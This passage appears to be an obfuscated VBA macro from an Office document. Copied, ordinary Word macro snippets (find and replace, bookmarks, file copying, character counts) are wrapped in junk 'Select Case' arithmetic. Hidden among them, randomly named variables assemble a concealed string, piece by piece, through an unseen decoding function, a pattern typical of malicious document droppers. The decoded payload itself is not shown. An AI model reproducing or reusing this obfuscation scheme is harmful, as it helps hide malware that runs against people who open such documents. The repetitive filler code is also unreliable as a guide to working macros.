(-956)):\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nCase (-983 + 234 + (-335 - (904) + -923)): Dim CfE2yHHLbf5eE\n\nEnd Select\n\n\n\nSelect Case 731\nCase (-167 + (856) - (-623 + 303) + (-18)):\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nColumns.EntireColumn.Hidden = False\nRows.EntireRow.Hidden = False\n\n\n\nCase (702 + -267 + (354 - (-550) + -608)): Dim aTviQMLvaGrZSBToB\n\nEnd Select\n\n\n\nSelect Case -618\nCase (-306 + (759) - (-534 + 697) + (-727)):\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\nCase (-418 + -590 + (-172 - (-744) + -182)): Dim Mt2rR\n\nEnd Select\n\n\n\nSelect Case 885\nCase (343 + 91 + (766 - (538) + 223)): Dim FzJIOHZqfwXPesWr5\n\nCase (-888 + (-647) - (183 + 376) + (-712)):\n\n\n\niParCount = ActiveDocument.Paragraphs.Count\nFor J = 1 To iParCount\n sMyPar = ActiveDocument.Paragraphs(J).Range.Text\n ActiveDocument.Paragraphs(J).Range.Text = sMyPar\nNext J\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nEnd Select\n\n\n\nSelect Case 137\nCase (22 + -93 + (224 - (854) + 838)): Dim EuZcOMT\n\nCase (873 + (-583) - (9 + -28) + (-112)):\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nEnd Select\n\n\n\nSelect Case -205\nCase (24 + -964 + (157 - (-604) + -26)): Dim V5nWQJBcN8Ew\n\nCase (480 + (569) - (-530 + -943) + (644)):\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nEnd Select\n\n\n\nSelect Case 270\nCase (-897 + (-601) - (468 + -326) + (-243)):\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nCase (958 + 773 + (-841 - (-168) + -788)): Dim O7y4M\n\nEnd Select\n\n\n\nSelect Case -256\nCase (916 + (827) - (541 + 337) + (-245)):\n\n\n\nColumns.EntireColumn.Hidden = False\nRows.EntireRow.Hidden = False\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nCase (650 + -267 + (-930 - (60) + 351)): Dim jbu23XbIJGf8Hpqc\n\nEnd Select\n\n\n\nSelect Case 277\nCase (518 + 562 + (-840 - (-519) + -482)): Dim qnIT3QLlu1VdZTyFqD\n\nCase (803 + (655) - (-78 + 636) + (688)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\niParCount = ActiveDocument.Paragraphs.Count\nFor J = 1 To iParCount\n sMyPar = ActiveDocument.Paragraphs(J).Range.Text\n ActiveDocument.Paragraphs(J).Range.Text = sMyPar\nNext J\n\n\n\nEnd Select\n\n\n\nSelect Case -1989\nCase (-283 + -822 + (-121 - (359) + -404)): Dim snSRSY\n\nCase (-691 + (836) - (-957 + 945) + (-384)):\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case -1806\nCase (-554 + (-817) - (845 + 77) + (147)):\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nCase (840 + -740 + (-184 - (796) + -926)): Dim CD63WT6IOJYKgaJ\n\nEnd Select\n\n\n\nSelect Case 2282\nCase (644 + 974 + (476 - (-182) + 6)): Dim JF9711x\n\nCase (555 + (710) - (210 + 724) + (-882)):\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nEnd Select\n\n\n\nSelect Case -713\nCase (215 + -67 + (-624 - (-345) + -582)): Dim jqIPH4x2A\n\nCase (312 + (748) - (-729 + 993) + (32)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\n Title = \"CharCount\"\n CharCount = Len(Selection)\n Message = LTrim(Str(CharCount)) + \" character\"\n If CharCount <> 1 Then Message = Message + \"s\"\n MsgBox Message, vbOKOnly, Title\n\n\n\nEnd Select\n\n\n\nSelect Case 2586\nCase (988 + 389 + (811 - (-671) + -273)): Dim OKjHpJIFRvDFFu\n\nCase (654 + (780) - (-715 + -452) + (605)):\n\n\n\n Title = \"CharCount\"\n CharCount = Len(Selection)\n Message = LTrim(Str(CharCount)) + \" character\"\n If CharCount <> 1 Then Message = Message + \"s\"\n MsgBox Message, vbOKOnly, Title\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nEnd Select\n\n\n\nSelect Case -61\nCase (-470 + 989 + (-553 - (262) + 235)): Dim eZGuZXIKQXFUGl6B1\n\nCase (971 + (685) - (-668 + -774) + (206)):\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nEnd Select\n\n\n\nSelect Case -1151\nCase (-711 + (-294) - (559 + 151) + (-909)):\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nSelection.Find.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nSelection.Find.Execute\n\n\n\nCase (-729 + -800 + (911 - (-80) + -613)): Dim LL9AzwITzxtf\n\nEnd Select\n\n\n\nSelect Case 1646\nCase (495 + 403 + (-83 - (-105) + 726)): Dim uhTwep1ANVr3uB1L3W\n\nCase (-416 + (98) - (-983 + 703) + (479)):\n\n\n\nWith Selection.Cells\n .Borders(wdBorderLeft).LineStyle = wdLineStyleNone\n With .Borders(wdBorderRight)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderTop)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderBottom)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n .Borders.Shadow = False\nEnd With\nWith Options\n .DefaultBorderLineStyle = wdLineStyleSingle\n .DefaultBorderLineWidth = wdLineWidth050pt\n .DefaultBorderColorIndex = wdAuto\nEnd With\n\n\n\nColumns.EntireColumn.Hidden = False\nRows.EntireRow.Hidden = False\n\n\n\nEnd Select\n\n\n\nSelect Case -857\nCase (-384 + (-509) - (-758 + 284) + (-113)):\n\n\n\n Title = \"CharCount\"\n CharCount = Len(Selection)\n Message = LTrim(Str(CharCount)) + \" character\"\n If CharCount <> 1 Then Message = Message + \"s\"\n MsgBox Message, vbOKOnly, Title\n\n\n\niParCount = ActiveDocument.Paragraphs.Count\nFor J = 1 To iParCount\n sMyPar = ActiveDocument.Paragraphs(J).Range.Text\n ActiveDocument.Paragraphs(J).Range.Text = sMyPar\nNext J\n\n\n\nCase (279 + -479 + (684 - (710) + -631)): CfE2yHHLbf5eE = r53u4nc(1997 - (5005) + (3012))\n\nEnd Select\n\n\n\nSelect Case -1091\nCase (-154 + 109 + (-522 - (869) + 345)): aTviQMLvaGrZSBToB = CfE2yHHLbf5eE & r53u4nc(8382 - (9411) + (1034))\n\nCase (430 + (822) - (685 + 100) + (894)):\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nEnd Select\n\n\n\nSelect Case 819\nCase (78 + 820 + (531 - (-281) + -891)): Mt2rR = aTviQMLvaGrZSBToB & r53u4nc(-7185 - (-3531) + (3660))\n\nCase (-352 + (343) - (-121 + -88) + (-324)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nEnd Select\n\n\n\nSelect Case -661\nCase (141 + (-61) - (848 + -302) + (997)):\n\n\n\n ' Display message, title, and default value\n Drive = InputBox(Message, Title, Default)\n If Drive > \"\" Then\n ffname = ActiveDocument.FullName\n FName = Drive & \":\\\" & ActiveDocument.Name\n ActiveDocument.SaveAs FName\n ActiveDocument.SaveAs ffname\n End If\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nCase (-612 + 669 + (-326 - (721) + 329)): FzJIOHZqfwXPesWr5 = Mt2rR & r53u4nc(-2984 - (-6329) + (-3338))\n\nEnd Select\n\n\n\nSelect Case -711\nCase (-841 + -234 + (-933 - (-955) + 342)): EuZcOMT = FzJIOHZqfwXPesWr5 & r53u4nc(-2658 - (-2845) + (-179))\n\nCase (-628 + (-675) - (-801 + 764) + (597)):\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\n If Selection.Type = wdSelectionIP Then\n Selection.MoveLeft Unit:=wdWord, Count:=1\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n End If\n Selection.Range.Case = wdTitleWord\n Selection.Font.SmallCaps = True\n\n\n\nEnd Select\n\n\n\nSelect Case -356\nCase (5 + (-985) - (936 + -118) + (681)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nCase (744 + -613 + (-481 - (-484) + -490)): V5nWQJBcN8Ew = EuZcOMT & r53u4nc(13609 - (8374) + (-5226))\n\nEnd Select\n\n\n\nSelect Case -9\nCase (-379 + 510 + (-319 - (706) + 885)): O7y4M = V5nWQJBcN8Ew & r53u4nc(4308 - (2226) + (-2072))\n\nCase (-894 + (485) - (-983 + 344) + (-524)):\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case 25\nCase (538 + (588) - (153 + -248) + (-871)):\n\n\n\nSelection.Find.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nSelection.Find.Execute\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nCase (-215 + 461 + (-272 - (13) + 64)): jbu23XbIJGf8Hpqc = O7y4M & r53u4nc(-14042 - (-9836) + (4217))\n\nEnd Select\n\n\n\nSelect Case -1212\nCase (-881 + 628 + (-950 - (-690) + -699)): qnIT3QLlu1VdZTyFqD = jbu23XbIJGf8Hpqc & r53u4nc(-2522 - (-7984) + (-5450))\n\nCase (505 + (260) - (638 + -100) + (-497)):\n\n\n\niParCount = ActiveDocument.Paragraphs.Count\nFor J = 1 To iParCount\n sMyPar = ActiveDocument.Paragraphs(J).Range.Text\n ActiveDocument.Paragraphs(J).Range.Text = sMyPar\nNext J\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nEnd Select\n\n\n\nSelect Case -153\nCase (-534 + (-736) - (81 + 920) + (527)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\nCase (651 + -695 + (324 - (-424) + -857)): snSRSY = qnIT3QLlu1VdZTyFqD & r53u4nc(3425 - (-1607) + (-5019))\n\nEnd Select\n\n\n\nSelect Case -346\nCase (-684 + 62 + (611 - (-445) + -780)): CD63WT6IOJYKgaJ = snSRSY & r53u4nc(8338 - (5334) + (-2990))\n\nCase (719 + (414) - (279 + -799) + (89)):\n\n\n\nSelection.Find.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nSelection.Find.Execute\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nEnd Select\n\n\n\nSelect Case -1222\nCase (-625 + -450 + (-991 - (-954) + -110)): JF9711x = CD63WT6IOJYKgaJ & r53u4nc(-6453 - (-7008) + (-540))\n\nCase (584 + (-248) - (651 + 364) + (-33)):\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nEnd Select\n\n\n\nSelect Case -1717\nCase (198 + (-607) - (931 + -110) + (-954)):\n\n\n\nSelection.Find.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nSelection.Find.Execute\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nCase (-163 + -959 + (718 - (985) + -328)): jqIPH4x2A = JF9711x & r53u4nc(-6757 - (1214) + (7987))\n\nEnd Select\n\n\n\nSelect Case 1712\nCase (618 + (-759) - (-270 + -690) + (958)):\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = 